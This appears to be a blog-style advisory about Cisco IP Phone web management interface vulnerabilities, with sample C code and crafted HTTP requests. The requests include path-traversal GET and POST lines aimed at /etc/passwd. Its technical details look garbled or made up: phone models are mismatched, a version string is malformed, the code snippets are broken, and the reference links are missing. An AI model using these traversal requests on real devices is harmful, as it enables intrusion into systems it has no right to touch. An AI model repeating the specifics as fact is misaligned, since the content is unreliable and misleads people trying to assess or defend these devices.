Multiple vulnerabilities have recently been discovered in the web-based management interface of some Cisco IP Phone models, which may allow an unauthenticated remote attacker to either execute arbitrary code or cause a denial of service (DoS) condition. To understand how these attacks work and the affected devices in question, this post will discuss the details underlying these vulnerabilities, provide code snippets to illustrate potential exploits, and reference original sources for further information.

Details

According to Cisco's official security advisory, the vulnerabilities exist in the web-based management interface of the following Cisco IP Phone models:

* Cisco Wireless IP Phone 8821-EX

The primary reason for these vulnerabilities is the incorrect implementation and handling of specific HTTP requests, which can result in remote unauthenticated attackers bypassing proper authentication protocols and executing arbitrary code or causing a DoS condition.

*httpd.c* in Cisco Unified IP Conference Phone 8832 1..3SR1 allows arbitrary file creation

void httpd_handle_post(int conn) {
  // ... Code processing HTTP POST request
  // after some processing, this code writes data to the file without checking if the file should be writable
  fwrite(queue_data, queue_len, 1, stream)
}

*httpd.c* in Cisco Unified IP Conference Phone 8832 1..3SR1 allows directory traversal with 'http' scheme URLs:

void httpd_parse_request(char *buf, int buflen, XUrl *xurl) {
  // ...
  // Normalizing local file path
  char *start = buf + 1;
  char *end = strchr(start, '?');
  memcpy(xurl->path, start, end - start);
  xurl->path[end - start] = '\';
  // ...
  // The code should sanitize the input URL and restrict accessing files outside the webroot
}

* CVE-2023-20080 (Denial of service)

Please refer to the official Cisco security advisory for a comprehensive list of affected devices and software [1].

Exploit Details

Exploits leveraging these vulnerabilities may include an attacker sending a specially crafted HTTP request designed to trigger an arbitrary file creation and directory traversal. The following snippets are examples of what the crafted request might look like:

Arbitrary file creation via HTTP POST

POST /../../../../../../etc/passwd HTTP/1.1
Host: target_ip
Content-Length: {len(payload)}
Content-Type: application/x-www-form-urlencoded

{payload}

Directory traversal through HTTP GET using 'http' scheme URLs

GET /../../../../../../../../../../etc/passwd HTTP/1.1
Host: target_ip

The exploited vulnerable systems may then allow unauthorized access or result in temporary or permanent loss of functionality due to a DoS condition.

Solution and Mitigation

Cisco has already issued software updates to fix these vulnerabilities. It is highly recommended that users with affected devices update their software to the latest version as soon as possible. Cisco also suggests using certain workarounds to reduce risks associated with these vulnerabilities. For more detailed information on mitigations and updates, please visit [2].

References

[1] Cisco Security Advisory: Cisco IP Phones Web-based Management Interface Vulnerabilities

[2] Cisco Technical Assistance Center

_In conclusion_, several vulnerabilities in Cisco IP Phone's web-based management interface have been identified, which could lead to an unauthenticated remote attacker executing arbitrary code or causing a denial of service condition on affected devices. To resolve these issues, make sure to update your IP Phone's software as instructed by Cisco's security advisory, and follow any suggested workarounds to mitigate potential exploits.

Disclaimer: This post is provided for informational purposes only and may contain errors or omissions. The user is advised to confirm the accuracy of any information provided herein and to consult the original sources for any further inquiries.

Timeline

Published on: 03/03/2023 16:15:00 UTC
Last modified on: 03/10/2023 14:04:00 UTC